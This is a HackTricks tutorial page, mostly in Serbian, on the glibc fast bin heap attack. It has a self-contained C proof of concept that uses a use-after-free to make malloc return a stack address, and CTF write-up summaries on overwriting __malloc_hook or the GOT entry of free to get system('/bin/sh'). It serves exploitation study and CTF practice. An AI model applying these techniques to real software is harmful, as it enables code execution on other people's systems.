Fast Bin Attack
Reading time: 9 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Za više informacija o tome šta je fast bin, pogledajte ovu stranicu:
Pošto je fast bin jednostruko povezani spisak, postoji mnogo manje zaštita nego u drugim binovima i samo modifikacija adrese u oslobođenom fast bin delu je dovoljna da se kasnije alocira deo na bilo kojoj memorijskoj adresi.
Kao rezime:
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)
// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);
ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
Možete pronaći potpuni primer u veoma dobro objašnjenom kodu sa https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
int stackVar = 0x55;
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
free(ptr0);
free(ptr1);
free(ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
*ptr1 = (unsigned long)((char *)&stackVar);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
unsigned long *ptr3, *ptr4, *ptr5;
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}
caution
Ako je moguće prepisati vrednost globalne promenljive global_max_fast
velikim brojem, to omogućava generisanje fast bin chunk-ova većih veličina, potencijalno omogućavajući izvođenje fast bin napada u scenarijima gde to prethodno nije bilo moguće. Ova situacija je korisna u kontekstu large bin attack i unsorted bin attack
Primeri
- CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
- Moguće je alocirati chunk-ove, osloboditi ih, pročitati njihov sadržaj i popuniti ih (sa ranjivošću prelivanja).
- Konsolidacija chunk-a za infoleak: Tehnika se u suštini sastoji u zloupotrebi prelivanja kako bi se kreirao lažni
prev_size
, tako da jedan prethodni chunk bude smešten unutar većeg, tako da kada se alocira veći koji sadrži drugi chunk, moguće je odštampati njegove podatke i procuriti adresu do libc (main_arena+88
). - Prepisivanje malloc hook-a: Za ovo, i zloupotrebljavajući prethodnu preklapajuću situaciju, bilo je moguće imati 2 chunk-a koja su ukazivala na istu memoriju. Stoga, oslobađanjem oba (oslobađanjem drugog chunk-a između da bi se izbegle zaštite) bilo je moguće imati isti chunk u fast bin-u 2 puta. Zatim, bilo je moguće ponovo ga alocirati, prepisati adresu sledećeg chunk-a da ukazuje malo pre
__malloc_hook
(tako da ukazuje na ceo broj za koji malloc misli da je slobodna veličina - još jedan zaobilaženje), ponovo ga alocirati i zatim alocirati drugi chunk koji će primiti adresu do malloc hook-ova.
Na kraju, one gadget je napisan unutra. - CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
- Postoji heap overflow i upotreba nakon oslobađanja i dvostruko oslobađanje jer kada se chunk oslobodi, moguće je ponovo koristiti i ponovo osloboditi pokazivače.
- Libc info leak: Samo oslobodite neke chunk-ove i dobićete pokazivač na deo lokacije glavne arene. Kako možete ponovo koristiti oslobođene pokazivače, samo pročitajte ovu adresu.
- Fast bin attack: Svi pokazivači na alokacije se čuvaju unutar niza, tako da možemo osloboditi nekoliko fast bin chunk-ova i u poslednjem prepisati adresu da ukazuje malo pre ovog niza pokazivača. Zatim, alocirajte nekoliko chunk-ova iste veličine i prvo ćemo dobiti legitiman, a zatim lažni koji sadrži niz pokazivača. Sada možemo prepisati ove pokazivače alokacije da učinimo GOT adresu
free
da ukazuje nasystem
i zatim napisati"/bin/sh"
u chunk 1 da bismo zatim pozvalifree(chunk1)
koji će umesto toga izvršitisystem("/bin/sh")
. - CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
- Još jedan primer zloupotrebe prelivanja od jednog bajta za konsolidaciju chunk-ova u nesortiranom binu i dobijanje libc infoleak-a, a zatim izvođenje fast bin napada za prepisivanje malloc hook-a sa adresom one gadget-a.
- CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
- Nakon infoleak-a zloupotrebljavajući nesortirani bin sa UAF za procurivanje libc adrese i PIE adrese, eksploatacija ovog CTF-a koristila je fast bin napad za alociranje chunk-a na mestu gde su se nalazili pokazivači na kontrolisane chunk-ove, tako da je bilo moguće prepisati određene pokazivače da bi se napisao one gadget u GOT.
- Možete pronaći Fast Bin napad zloupotrebljen kroz nesortirani bin napad:
- Imajte na umu da je uobičajeno pre izvođenja fast bin napada zloupotrebljavati slobodne liste za procurivanje libc/heap adresa (kada je potrebno).
- Robot Factory. BlackHat MEA CTF 2022
- Možemo alocirati samo chunk-ove veličine veće od
0x100
. - Prepišite
global_max_fast
koristeći Unsorted Bin napad (radi 1/16 puta zbog ASLR, jer treba da modifikujemo 12 bita, ali moramo modifikovati 16 bita). - Fast Bin napad za modifikaciju globalnog niza chunk-ova. Ovo daje proizvoljnu read/write primitivu, koja omogućava modifikaciju GOT-a i postavljanje neke funkcije da ukazuje na
system
.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.